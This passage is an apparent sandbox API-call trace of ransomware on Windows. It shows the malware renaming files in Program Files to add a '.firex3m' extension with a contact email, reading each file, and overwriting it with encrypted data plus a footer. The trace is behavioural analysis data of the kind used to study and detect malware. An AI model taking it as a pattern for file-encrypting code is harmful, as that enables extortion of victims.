lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-BE\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nl-be\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0234.183] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0234.183] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-BE\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x587fc6c | out: lpFindFileData=0x587fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3fa8d2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x18b, dwReserved0=0x2e006c, dwReserved1=0x640069, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d51c0 [0234.183] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0234.183] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-BE\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nl-be\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x620 [0234.184] GetProcessHeap () returned 0x630000 [0234.184] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6f3ad8 [0234.184] GetProcessHeap () returned 0x630000 [0234.184] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6f3768 [0234.184] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.184] ReadFile (in: hFile=0x620, lpBuffer=0x6f3ad8, nNumberOfBytesToRead=0x180, lpNumberOfBytesRead=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f3ad8*, lpNumberOfBytesRead=0x587ff0c*=0x180, lpOverlapped=0x0) returned 1 [0234.186] GetProcessHeap () returned 0x630000 [0234.186] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318d00 [0234.187] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.187] WriteFile (in: hFile=0x620, lpBuffer=0x6f3768*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f3768*, lpNumberOfBytesWritten=0x587ff0c*=0x180, lpOverlapped=0x0) returned 1 [0234.187] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.187] WriteFile (in: hFile=0x620, lpBuffer=0x6f38e7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f38e7*, lpNumberOfBytesWritten=0x587ff0c*=0x20, lpOverlapped=0x0) returned 1 [0234.187] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.187] WriteFile (in: hFile=0x620, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x587ff0c*=0x4, lpOverlapped=0x0) returned 1 [0234.187] CloseHandle (hObject=0x620) returned 1 [0234.187] GetProcessHeap () returned 0x630000 [0234.187] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f3768 | out: hHeap=0x630000) returned 1 [0234.187] GetProcessHeap () returned 0x630000 [0234.187] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f3ad8 | out: hHeap=0x630000) returned 1 [0234.187] GetProcessHeap () returned 0x630000 [0234.187] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318d00 | out: hHeap=0x630000) returned 1 [0235.393] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.394] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-BE\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x587fcc4 | out: lpFindFileData=0x587fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3fa8d2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x5189b568, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1af, dwReserved0=0x587fd20, dwReserved1=0x6f3ad8, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5580 [0235.394] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0235.394] Sleep (dwMilliseconds=0x1) [0235.513] SysReAllocStringLen (in: pbstr=0x587ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ZA\\toastbeginupgrade.xml", len=0x7a | out: pbstr=0x587ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ZA\\toastbeginupgrade.xml") returned 1 [0235.513] GetProcessHeap () returned 0x630000 [0235.513] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5044) returned 0x6fe3bb0 [0235.514] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ZA\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-za\\toastbeginupgrade.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6ec [0235.514] CloseHandle (hObject=0x6ec) returned 1 [0235.515] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0235.515] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ZA\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-za\\toastbeginupgrade.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ZA\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-za\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0235.614] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.614] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ZA\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x587fc6c | out: lpFindFileData=0x587fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6ff37000, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x2d0064, dwReserved1=0x390031, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5540 [0235.653] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0235.670] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ZA\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-za\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x70c [0235.679] GetProcessHeap () returned 0x630000 [0235.679] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x241) returned 0x717e148 [0235.679] GetProcessHeap () returned 0x630000 [0235.679] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x241) returned 0x699448 [0235.679] SetFilePointerEx (in: hFile=0x70c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.679] ReadFile (in: hFile=0x70c, lpBuffer=0x717e148, nNumberOfBytesToRead=0x220, lpNumberOfBytesRead=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x717e148*, lpNumberOfBytesRead=0x587ff0c*=0x220, lpOverlapped=0x0) returned 1 [0235.687] GetProcessHeap () returned 0x630000 [0235.687] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317b80 [0235.687] SetFilePointerEx (in: hFile=0x70c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.687] WriteFile (in: hFile=0x70c, lpBuffer=0x699448*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x699448*, lpNumberOfBytesWritten=0x587ff0c*=0x220, lpOverlapped=0x0) returned 1 [0235.687] SetFilePointerEx (in: hFile=0x70c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.687] WriteFile (in: hFile=0x70c, lpBuffer=0x699667*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x699667*, lpNumberOfBytesWritten=0x587ff0c*=0x20, lpOverlapped=0x0) returned 1 [0235.687] SetFilePointerEx (in: hFile=0x70c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.687] WriteFile (in: hFile=0x70c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x587ff0c*=0x4, lpOverlapped=0x0) returned 1 [0235.688] CloseHandle (hObject=0x70c) returned 1 [0235.688] GetProcessHeap () returned 0x630000 [0235.688] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x699448 | out: hHeap=0x630000) returned 1 [0235.688] GetProcessHeap () returned 0x630000 [0235.688] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x717e148 | out: hHeap=0x630000) returned 1 [0235.688] GetProcessHeap () returned 0x630000 [0235.688] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317b80 | out: hHeap=0x630000) returned 1 [0235.688] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.688] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ZA\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x587fcc4 | out: lpFindFileData=0x587fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x526e96f3, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x24e, dwReserved0=0xaa87496, dwReserved1=0x717e140, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5280 [0235.688] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0235.688] Sleep (dwMilliseconds=0x1) [0235.733] SysReAllocStringLen (in: pbstr=0x587ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\App\\bing-dark.png", len=0x61 | out: pbstr=0x587ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\App\\bing-dark.png") returned 1 [0235.733] GetProcessHeap () returned 0x630000 [0235.733] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4fbc) returned 0x6fe3bb0 [0235.733] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\App\\bing-dark.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\app\\bing-dark.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0235.734] Sleep (dwMilliseconds=0x1) [0235.884] SysReAllocStringLen (in: pbstr=0x587ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES-valencia\\toastbeginupgradeth2.xml", len=0x86 | out: pbstr=0x587ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES-valencia\\toastbeginupgradeth2.xml") returned 1 [0235.884] GetProcessHeap () returned 0x630000 [0235.884] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f94) returned 0x6fe3bb0 [0235.884] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES-valencia\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ca-es-valencia\\toastbeginupgradeth2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x718 [0235.885] CloseHandle (hObject=0x718) returned 1 [0235.885] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0235.885] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES-valencia\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ca-es-valencia\\toastbeginupgradeth2.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES-valencia\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ca-es-valencia\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0235.888] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.889] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES-valencia\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x587fc6c | out: lpFindFileData=0x587fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e34a1b4, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1a3, dwReserved0=0x640061, dwReserved1=0x740065, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5280 [0235.889] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0235.889] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES-valencia\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ca-es-valencia\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x718 [0235.889] GetProcessHeap () returned 0x630000 [0235.889] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x6dc658 [0235.889] GetProcessHeap () returned 0x630000 [0235.889] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x6dc2a8 [0235.889] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.889] ReadFile (in: hFile=0x718, lpBuffer=0x6dc658, nNumberOfBytesToRead=0x1a0, lpNumberOfBytesRead=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dc658*, lpNumberOfBytesRead=0x587ff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0235.891] GetProcessHeap () returned 0x630000 [0235.891] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73174f0 [0235.892] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.892] WriteFile (in: hFile=0x718, lpBuffer=0x6dc2a8*, nNumberOfBytesToWrite=0x1a0, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dc2a8*, lpNumberOfBytesWritten=0x587ff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0235.892] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.892] WriteFile (in: hFile=0x718, lpBuffer=0x6dc447*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dc447*, lpNumberOfBytesWritten=0x587ff0c*=0x20, lpOverlapped=0x0) returned 1 [0235.892] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.892] WriteFile (in: hFile=0x718, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x587ff0c*=0x4, lpOverlapped=0x0) returned 1 [0235.892] CloseHandle (hObject=0x718) returned 1 [0235.892] GetProcessHeap () returned 0x630000 [0235.892] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6dc2a8 | out: hHeap=0x630000) returned 1 [0235.892] GetProcessHeap () returned 0x630000 [0235.892] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6dc658 | out: hHeap=0x630000) returned 1 [0235.892] GetProcessHeap () returned 0x630000 [0235.892] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73174f0 | out: hHeap=0x630000) returned 1 [0235.892] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.892] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES-valencia\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x587fcc4 | out: lpFindFileData=0x587fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e34a1b4, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x528d97be, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1c7, dwReserved0=0x587fd20, dwReserved1=0x6dc658, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5340 [0235.893] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0235.893] Sleep (dwMilliseconds=0x1) [0235.977] SysReAllocStringLen (in: pbstr=0x587ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\bg-BG\\toastreviewsettings.xml", len=0x7c | out: pbstr=0x587ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\bg-BG\\toastreviewsettings.xml") returned 1 [0235.977] GetProcessHeap () returned 0x630000 [0235.977] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f78) returned 0x6fe3bb0 [0235.977] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\bg-BG\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\bg-bg\\toastreviewsettings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0235.978] CloseHandle (hObject=0x5ec) returned 1 [0235.978] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0235.978] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\bg-BG\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\bg-bg\\toastreviewsettings.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\bg-BG\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\bg-bg\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0236.427] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0236.427] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\bg-BG\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x587fc6c | out: lpFindFileData=0x587fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e32400a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e32400a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x230, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5240 [0236.427] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0236.427] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\bg-BG\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\bg-bg\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0236.428] GetProcessHeap () returned 0x630000 [0236.428] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x241) returned 0x666188 [0236.428] GetProcessHeap () returned 0x630000 [0236.428] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x241) returned 0x665f20 [0236.428] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.428] ReadFile (in: 